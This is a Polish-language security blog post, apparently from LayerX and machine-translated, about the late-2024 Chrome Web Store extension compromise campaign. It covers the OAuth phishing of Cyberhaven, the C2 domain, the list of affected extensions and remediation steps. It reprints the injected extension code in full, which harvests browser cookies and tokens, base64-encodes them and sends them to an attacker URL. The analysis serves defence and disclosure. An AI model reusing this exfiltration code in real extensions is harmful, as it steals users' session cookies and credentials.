Ostatnia aktualizacja: 30 grudnia 2024 r
Ten wątek bloga śledzi rozwijającą się globalną kampanię ataku na rozszerzenia przeglądarki w Chrome Web Store. Będziemy aktualizować nowe szczegóły, gdy tylko będą dostępne.
Podsumowanie
27 grudnia 2024 r. startup cyberbezpieczeństwa Cyberhaven ujawnił, że atak naruszył rozszerzenie przeglądarki i wstrzyknął do niego złośliwy kod. Po ujawnieniu szczegółów tego ataku szybko odkryto kolejne naruszone rozszerzenia przeglądarki, przy czym obecnie wiadomo, że naruszono ponad 25 rozszerzeń.
W poniższym wątku na żywo wyjaśniono wszystkie znane nam szczegóły, które rozszerzenia zostały zainfekowane, w jaki sposób organizacje powinny się chronić oraz w jaki sposób LayerX pomaga swoim klientom radzić sobie z rozszerzeniami naruszonymi przez ten atak.
Szybkie linki wewnątrz tego dokumentu:
- Jak odkryto atak
- Jak przeprowadzono atak
- Analiza techniczna ataku
- Dodatkowe rozszerzenia objęte wpływem
- Jak się chronić
- W jaki sposób LayerX pomaga klientom chronić siebie
- Bezpłatny audyt i naprawa naruszonych rozszerzeń
Jak odkryto atak
27 grudnia 2024 r. Cyberhaven powiadomił swoich klientów o naruszeniu bezpieczeństwa, które doprowadziło do naruszenia danych uwierzytelniających pracownika Cyberhaven, które zostały wykorzystane do przesłania złośliwej wersji rozszerzenia przeglądarki Cyberhaven do Chrome Store. Rozszerzenie Cyberhaven Security ma obecnie ponad 400,000 XNUMX użytkowników, którzy prawdopodobnie zostali dotknięci tym naruszeniem.
Wiadomość o zdarzeniu pojawiła się pierwszy raport bloga o cyberbezpieczeństwie Vulnu, który uzyskał kopię wiadomości e-mail wysyłanej do klientów Cyberhaven.
Według analizy Cyberhaven, 24 grudnia padł ofiarą ataku phishingowego, którego ofiarą padł jeden z pracowników, w wyniku czego atakujący uzyskali dostęp do rozszerzenia przeglądarki firmy w Chrome Web Store.
Następnie atakujący wykorzystali ten dostęp, aby przesłać złośliwą wersję rozszerzenia przeglądarki Cyberhaven i zaktualizować ją w Chrome Store wczesnym rankiem 25 grudnia.
Według Cyberhaven, złośliwa aktualizacja została wykryta około dzień później, a złośliwy kod został usunięty wczesnym rankiem 26 grudnia. Ogółem złośliwa wersja była online przez nieco ponad 24 godziny.
Jednak w miarę jak ujawniano, że zagrożone były kolejne rozszerzenia, stało się jasne, że atak na Cyberhaven nie był odosobnionym atakiem wymierzonym wyłącznie w tę firmę, lecz częścią szeroko zakrojonej kampanii.
Dzięki temu analiza incydentu w Cyberhaven jest istotna dla zrozumienia całej kampanii.
Jak przeprowadzono atak
Konto administratora rozszerzenia przeglądarki Cyberhaven zostało naruszone za pomocą ukierunkowanego ataku phishingowego, co pozwoliło atakującemu na opublikowanie złośliwej wersji rozszerzenia.
Ponieważ incydent ten nie był jednorazowym atakiem, ale częścią kampanii wymierzonej w wiele rozszerzeń, uważamy, że metoda phishingu zastosowana do ataku na Cyberhaven została powtórzona również w przypadku wszystkich innych rozszerzeń.
Najbardziej prawdopodobnym źródłem ataków phishingowych jest sam Chrome Web Store.
W przypadku każdego rozszerzenia Chrome Store udostępnia dane wydawcy rozszerzenia wraz z adresem e-mail kontaktowym:
Przykładowe dane kontaktowe rozszerzenia przeglądarki Cyberhaven ze sklepu Chrome Web Store
Używając tych adresów e-mail, atakujący wysyłali fałszywe wiadomości e-mail, podszywając się pod firmę Google i powiadamiając odbiorców o „naruszeniach” na ich kontach.
Oto kopia wiadomości e-mail phishingowej wysłanej do Cyberhaven, którą firma udostępniła w ramach swojej działalności. analiza techniczna incydentu:
Podobne wiadomości e-mail pojawiły się jednak także z innych źródeł: wątek na grupie dyskusyjnej Chromium.org zapytano o podejrzanego e-maila, który rzekomo otrzymali od Google, aby sprawdzić, czy jest to próba phishingu:
Ten e-mail jest niemal identyczny z tym, który naruszył Cyberhaven (chociaż wymieniono inny powód „naruszenia”), co wskazuje, że był częścią tej samej kampanii phishingowej. Zgodnie z postem, ten e-mail został otrzymany 23 grudnia, mniej więcej w czasie, gdy doszło do naruszenia Cyberhaven.
Po kliknięciu łącza w wiadomości e-mail przez zamierzoną osobę, została ona przeniesiona do formularza autoryzacyjnego Google, aby dodać aplikację OAuth Google o nazwie „Rozszerzenia polityki prywatności”.
Przestrzeganie tego przepływu zatwierdzania prowadziłoby do autoryzacji złośliwej aplikacji OAuth innej firmy i udzielenia jej dostępu do konta ofiary w Chrome Web Store. Jednak ze względu na sposób, w jaki atak został zaprojektowany, atakujący nie musieli sami naruszać danych uwierzytelniających konta (tj. hasła), po prostu „podczepiali się” do uprawnień przyznanych przez złośliwą aplikację.
Analiza techniczna ataku
Gdy atakujący uzyskali dostęp do konta ofiary w sklepie internetowym, wstrzyknęli kod do pliku worker.js rozszerzenia, aby uzyskać dostęp do zewnętrznego adresu URL (cyberhavenext[.]pro) i pobrać zewnętrzny plik konfiguracyjny.
Za każdym razem, gdy przeglądarka była uruchamiana, rozszerzenie pobierało plik konfiguracyjny ze zdalnego serwera. Ten plik kontroluje zachowanie rozszerzenia i może być dynamicznie aktualizowany przez atakującego, co pozwala mu dyktować co oraz jeśli chodzi o komunikację i motywację występują akcje. atakujący może zmień plik konfiguracyjny w dowolnym momencie, co pozwala im dynamicznie dostosowywać atak do różnych środowisk lub celów. To jest klucz do elastyczności ataku.
Poniżej znajduje się przykład takiego kodu:
Najważniejsze wnioski z kodu:
- Wstrzykiwane do wielu rozszerzeń: Złośliwy kod nie ogranicza się do jednego rozszerzenia. Zamiast tego został wstrzyknięty do wielu rozszerzeń, przy czym każde rozszerzenie pobiera swój własny, unikalny plik konfiguracyjny. Ta strategia pozwala atakującemu na dywersyfikację wektorów ataku, dostosowywanie zachowań dla różnych rozszerzeń i utrudnianie wykrywania.
- Powtarzające się zachowanie:Pobieranie konfiguracji odbywa się przy każdym uruchomieniu przeglądarki, co zapewnia, że każde rozszerzenie zawsze działa zgodnie z najnowszymi instrukcjami dostarczonymi przez atakującego.
- Mylące nazewnictwo:Kod używa nazw zmiennych lub atrybutów, takich jak cyberhavenext_ext_manage, zawierające nazwę firmy. Dzięki temu wydaje się to uzasadnione dla deweloperów sprawdzających pamięć masową lub kod rozszerzenia.
- Nadużycie pamięci lokalnej:Przechowując dane konfiguracyjne w chrome.storage.local, atakujący zapewnia trwałość. Programiści sprawdzający te dane mogą błędnie im zaufać z powodu użycia znanych lub wiarygodnie brzmiących nazw.
- Kontrola dynamiczna:Punkt końcowy (https://cyberhavenext.pro/ai-cyberhaven) umożliwia atakującemu modyfikację plików konfiguracyjnych każdego rozszerzenia w dowolnym momencie, zapewniając pełną kontrolę nad funkcjonalnością i zachowaniem każdego zainfekowanego rozszerzenia.
- Niestandardowe konfiguracje: Każde rozszerzenie pobiera unikalną konfigurację, co utrudnia uogólnienie i wykrycie złośliwego zachowania. Takie podejście umożliwia dostosowane ataki w oparciu o konkretny cel rozszerzenia lub bazę użytkowników.
Ponadto kod dodał nowy plik (content.js) do rozszerzeń, używany do zbierania danych użytkowników na stronach internetowych i ich eksfiltracji do zewnętrznej strony internetowej. Skrypt tła w rozszerzeniu działa jako centralny kontroler, obsługując przychodzące wiadomości ze skryptów treści i wykonując różne działania na podstawie tych wiadomości. Poniższy fragment kodu demonstruje elastyczną strukturę oczekującą na przetworzenie wielu typów żądań:
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
Skrypt wykorzystuje chrome.runtime.onMessage.addListener do przetwarzania różnych działań. Każde działanie definiuje określone zachowanie, takie jak wysyłanie żądań sieciowych.
Kiedy "cyberhavenext-check-errors„akcja jest wywoływana, atakujący pobiera poufne pliki cookie za pomocą chrome.cookies.getAll atakujący łączy również te dane z innymi informacjami (np. navigator[c] oraz e.uid) atakujący ukryje zawartość za pomocą btoa() aby przekonwertować je do base64. To sprawia, że dane stają się mniej czytelne w narzędziach do monitorowania sieci, dodając warstwę zaciemniania.
Dzięki wbudowaniu tych działań w skrypt działający w tle atakujący ma pewność, że:
- Szkodliwa aktywność jest niezależna od interakcji użytkownika.
- Dzieje się to w tle, po cichu, przez co trudniej jest je wykryć.
Analiza przeprowadzona przez Cyberhaven na narażonych punktach końcowych wskazuje, że złośliwy kod koncentrował się konkretnie na plikach cookie i tokenach uwierzytelniających Facebooka, a w szczególności na kontach firmowych na Facebooku:
Według Cyberhaven wśród zbieranych danych znalazły się tokeny dostępowe Facebooka, identyfikatory użytkowników, informacje o koncie i szczegóły dotyczące kont reklamowych na Facebooku.
Dodatkowe rozszerzenia objęte wpływem
Po zidentyfikowaniu adresu URL złośliwego serwera C&C badacze ds. bezpieczeństwa użyli odwrotnego DNS, aby zidentyfikować dodatkowe domeny, które rozwiązywały się na ten sam adres IP. Doprowadziło to do odkrycie dodatkowych naruszonych rozszerzeń przeglądarki i ujawnił skalę tej kampanii ataków.
Obecnie odkryto, że ponad 25 rozszerzeń przeglądarki, z których korzysta ponad 2.3 miliona użytkowników, jest zagrożonych:
- Asystent AI – ChatGPT i Gemini dla Chrome
- Kumpel ze sklepu AI
- Czat Barda AI
- Zmiana ulubionych zakładek
- Kastorus
- Asystent ChatGPT – inteligentne wyszukiwanie
- Rozszerzenie zabezpieczeń Cyberhaven V3
- Earny – do 20% zwrotu gotówki
- Łowca e-maili
- Podsumowanie GPT 4 z OpenAI
- Inspektor sieci GraphQL
- Internxt VPN
- Rejestrator historii klawiatury
- Papuga mówi
- Prymus
- Tryb Czytelnika
- Automatyzator wyszukiwania nagród
- Wyszukaj asystenta Copilot AI dla Chrome
- Sortuj według najstarszych
- Tackker – narzędzie do keyloggera online
- TinaMind – Asystent AI oparty na GPT-4o!
- Głos
- VidHelper – program do pobierania filmów
- Vidnoz Flex – Rejestrator wideo i udostępnianie wideo
- Efekty wizualne w Google Meet
- VPNMiasto
- Sztuczna inteligencja Wayina
Jak się chronić
Chociaż dotychczasowe analizy techniczne wskazują, że głównym celem tej kampanii była kradzież danych uwierzytelniających Facebooka i tokenów dostępowych, nie można wykluczyć ujawnienia danych uwierzytelniających innych stron internetowych.
Z tego powodu firma LayerX zaleca wszystkim użytkownikom, których dotyczy ten problem, podjęcie następujących działań:
- Usuń dotknięte rozszerzenia przeglądarki: upewnij się, że wszystkie dotknięte rozszerzenia zostały usunięte i/lub zablokowane. Niektóre z rozszerzeń już przesłały zaktualizowane wersje, które usunęły złośliwy kod, ale nie wszystkie. Ponadto wszelkie naruszone rozszerzenia, które zostały już pobrane, pozostaną widoczne, dopóki użytkownik nie zaktualizuje wersji rozszerzenia. Dlatego tak ważne jest aktywne wyłączenie wszystkich potencjalnie narażonych rozszerzeń.
- Zaktualizuj wszystkie rozszerzenia do najnowszych wersji:w przypadku gdy wydawca wydał poprawkę, ważne jest, aby zaktualizować zainstalowaną wersję rozszerzenia tak szybko, jak to możliwe (zakładając, że nie została ona już usunięta)
- Usuń wszystkie pliki cookie użytkowników, których to dotyczy:ponieważ atak był skierowany na pliki cookie i tokeny dostępu stron internetowych, konieczne jest usunięcie wszystkich istniejących plików cookie i odświeżenie tokenów dostępu.
- Rotacja haseł:jako najlepszą praktykę zaleca się również odświeżenie haseł wszystkich użytkowników, których dotyczy problem, aby mieć pewność, że żadne dane uwierzytelniające nie zostaną naruszone.
Jak LayerX pomaga swoim klientom
- Odkrycie odsłoniętych rozszerzeń: odkąd incydent Cyberhaven został ujawniony, badacze bezpieczeństwa na całym świecie pracowali nad identyfikacją kolejnych zagrożonych rozszerzeń. LayerX aktywnie uczestniczył w tym wysiłku, odkrywając szereg takich rozszerzeń i łącząc je z publicznie dostępnymi informacjami.
- Wykrywanie złośliwych rozszerzeń zainstalowanych w sieciach klientów: LayerX stale aktualizuje swoje listy złośliwych rozszerzeń, aby uwzględnić rozszerzenia, które zostały naruszone przez to naruszenie. Za każdym razem, gdy takie rozszerzenie zostanie odkryte, klienci są natychmiast powiadamiani. Ponadto LayerX aktywnie kontaktuje się z klientami, których to dotyczy, aby powiadomić ich o tych odkryciach.
- Wdrażanie zasad automatycznego egzekwowania:LayerX zaktualizował zasady obsługi klienta, aby automatycznie wyłączać wszystkie znane rozszerzenia, których bezpieczeństwo zostało naruszone.
- Usuwanie plików cookie użytkowników, których dane zostały ujawnione:na żądanie użytkownika LayerX może aktywnie wymusić usunięcie plików cookie u narażonych użytkowników, resetując w ten sposób pliki cookie i tokeny uwierzytelniające.
- Wymuś rotację haseł dla narażonych użytkowników:LayerX może również wdrażać zasady bezpieczeństwa wymuszające rotację haseł narażonych użytkowników, aby mieć pewność, że żadne dane uwierzytelniające nie pozostaną ujawnione.
Bezpłatny audyt i naprawa naruszonych rozszerzeń
Ze względu na skalę i zasięg tego ataku firma LayerX oferuje organizacjom, które zostały nim dotknięte (lub obawiają się, że mogą zostać nim dotknięte), bezpłatny audyt rozszerzeń przeglądarki i ich naprawę.
Audyt obejmuje:
- Odkrywanie wszystkich rozszerzeń przeglądarki zainstalowanych w Twoim środowisku
- Mapowanie użytkowników, którzy mają zainstalowane rozszerzenia na swoich punktach końcowych
- Szczegółowa ocena ryzyka każdego rozszerzenia przeglądarki
- Usuwanie zainfekowanych złośliwych rozszerzeń przeglądarki
- Rotacja plików cookie i haseł użytkownika, jeśli to konieczne
Kliknij tutaj aby zapisać się na tę ocenę.






